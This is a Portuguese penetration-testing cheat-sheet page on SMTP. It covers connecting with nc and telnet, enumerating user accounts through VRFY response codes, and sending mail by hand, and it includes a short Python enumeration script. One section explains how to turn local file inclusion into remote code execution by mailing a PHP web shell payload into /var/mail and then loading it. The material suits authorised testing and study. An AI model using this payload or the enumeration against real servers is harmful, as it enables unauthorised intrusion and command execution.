SMTP
Comandos Básicos
Conectando ao Server.
nc -v <ip> 25
telnet <ip> 25
Verificando se o usuário existe. Caso retorne um 252, significa que o usuário existe , caso seja um 550, não existe. Pode utilizar isso como um meio de enumeração de usuários.
VRFY <user>
Enviando e-mail via SMTP.
MAIL FROM: mysther
RCPT TO: <user>
DATA (pressione ENTER)
<DIGITE O E-MAIL E PARA FINALIZAR, DÊ ENTER, DIGITE . (PONTO) E DÊ OUTRO ENTER>
Caso queira fazer de uma maneira mais prática, gere um arquivo chamado mail.txt
com o seguinte conteúdo (altere o conteúdo para que seja compatível com o seu cenários):
HELO <domain.local>
MAIL FROM: user2@<domain.local>
RCPT TO: user1@<domain.local>
DATA
From: [Log Server] user2@<domain.local>
To: user1@<domain.local>
Date: Sun, 10 Jul 2022 14:42:39 +0000
Subject: Conteúdo do meu e-mail
.
QUIT
Agora para executar todos os comandos de uma só vez, execute o comando abaixo:
cat mail.txt | while read x; do sleep 3; echo $x; done | nc -Cv <ip> 25
LFI + RCE
Caso tenha acesso ao SMTP, conseguir enviar e-mail e ainda sim tiver algum LFI, podemos fazer disso um RCE. Assim que enviamos um e-mail com um código malicioso, por exemplo, <?php system($_GET[0]); ?>
, iré ser criado (caso não exista) um arquivo em /var/mail/<user>
, então podemos acessar esse arquivo via LFI no navegador e executar comandos no SO.
Script para Enumerar Usuários
#!/usr/bin/python
import socket
import sys
if len(sys.argv) != 2:
print "Usage: vrfy.py <username>"
sys.exit(0)
# Create a Socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Connect to the Server
connect = s.connect(('<ip>',25))
# Receive the banner
banner = s.recv(1024)
print banner
# VRFY a user
s.send('VRFY ' + sys.argv[1] + '\r\n')
result = s.recv(1024)
print result
# Close the socket
s.close()
Last updated
Was this helpful?